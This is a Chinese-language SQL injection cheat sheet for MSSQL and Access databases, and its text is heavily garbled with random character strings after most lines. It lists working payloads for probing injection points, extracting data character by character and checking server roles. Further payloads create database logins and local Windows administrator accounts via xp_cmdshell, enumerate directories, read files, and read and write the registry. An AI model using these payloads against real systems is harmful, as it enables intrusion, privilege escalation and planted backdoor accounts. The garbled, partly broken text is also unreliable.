1.判断是否有注入;and 1=1 ;and 1=2 p%ZiTrA1&D
2.初步判断是否是mssql ;and user>0 LAKZAi%O0
~ghz%${`
3.注入参数是字符'and [查询条件] and ''=' :^s7#4%6
%~;Q_#CR/K
4.搜索时没过滤参数的'and [查询条件] and '%25'=' ^hHeH:@
vX/A9Qi,U.
5.判断数据库系统 (p?3#|^
z\h+6FCD
;and (select count(*) from sysobjects)>0 mssql oto od
7
b.-&,
;and (select count(*) from msysobjects)>0 access 0C p}
i]-gO
F^NR qE
ZYt
__N
6.猜数据库 ;and (select Count(*) from [数据库名])>0 55cldo
]6;AK\9TM
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 X@:fW @
/T(\}Z
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
ke#;1
4@V]zfu^Q
9.(1)猜字段的ascii值(access) 5p|@ )
j>Z]J'P
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 >YBpB,WND
`eWcp^|
(2)猜字段的ascii值(mssql) 0xxzhlKNL
_tReZ(Vw
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 [4hO3):F
cORM R!
10.测试权限结构(mssql) u0Erz0*G4
<ut DZ#k
mCt>s9a)H
7L+X\oaB
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- BXo|CITso
w&"w"
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- =.X?LWKY
f>5RAg
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ZQkw}3*n
z;C=d(|nN
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- .lBY"W&{
mVK 9NK
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- v|I5Gz$qpa
~8m>DSs)D
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 1D[P\r-
T{<@MK%],d
;and 1=(select IS_MEMBER('db_owner'));-- ?66(t
E.`dk.
{?mQqoZ?.
y<1$^Y1/)
11.添加mssql和系统的帐户 Di'u%r
V"H7zx
;exec master.dbo.sp_addlogin username;-- K~8tN,~&
;exec master.dbo.sp_password null,username,password;-- V*zz-
2_i
@5jG
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 2]3HX3
+w.Kv
;
;exec master.dbo.xp_cmdshell 'net user username password ~J-|,ZMd
HQ3`:l
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- @7s,|\
&U~r}=
;exec master.dbo.xp_cmdshell 'net user username password /add';-- !Gp3/<"Wy$
_`_IUuj$E
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- !e'0jf-~
O_Rcd&<mr
U[QD!
aoDD&JE
12.(1)遍历目录 E^ok`wfO
8RAeJ~e
;create table dirs(paths varchar(100), id int) 8M|)ojH
dBMe`hM)
;insert dirs exec master.dbo.xp_dirtree 'c:\' *fl{Y(_OO
6#)Jl
;and (select top 1 paths from dirs)>0 T_x+sv=|X!
@qPyrgy
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
NVJ&C]H6
Nr24[e
G>d
W/r mm*
{?/8jCVd
(2)遍历目录 `GQiB]Z
,![Du::1
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ZJ9Jf2 c
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ,B %fjcn
VL7S7pb_
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 C5+`<
G|-\T(&J
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 6"i{P
:Jeo_}e 0
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 i.t9jN
P iQkJ[
5eOj,[?
BY*2yp}7
13.mssql中的存储过程 rj,K`HD
%XI"<Y\yL
xp_regenumvalues 注册表根键, 子键 Wzqb>.
>HPvgR/#BY
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 {zz6XlKPj
lU$4NUwM
xp_regread 根键,子键,键值名 FKox0Jmh=
@?Gw|bP
;exec xp_regread l+2cj?X
30?LsYXL62
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 V5O=iMP
ySQ-!fQnP
xp_regwrite 根键,子键, 值名, 值类型, 值 fJWxJSdi
rg5]`-!=
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 R3j#WgltP
m-ph}
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 0\'Q&oTo
3e%l8@R@
xp_regdeletevalue 根键,子键,值名 eA?uny
f2r
-R&E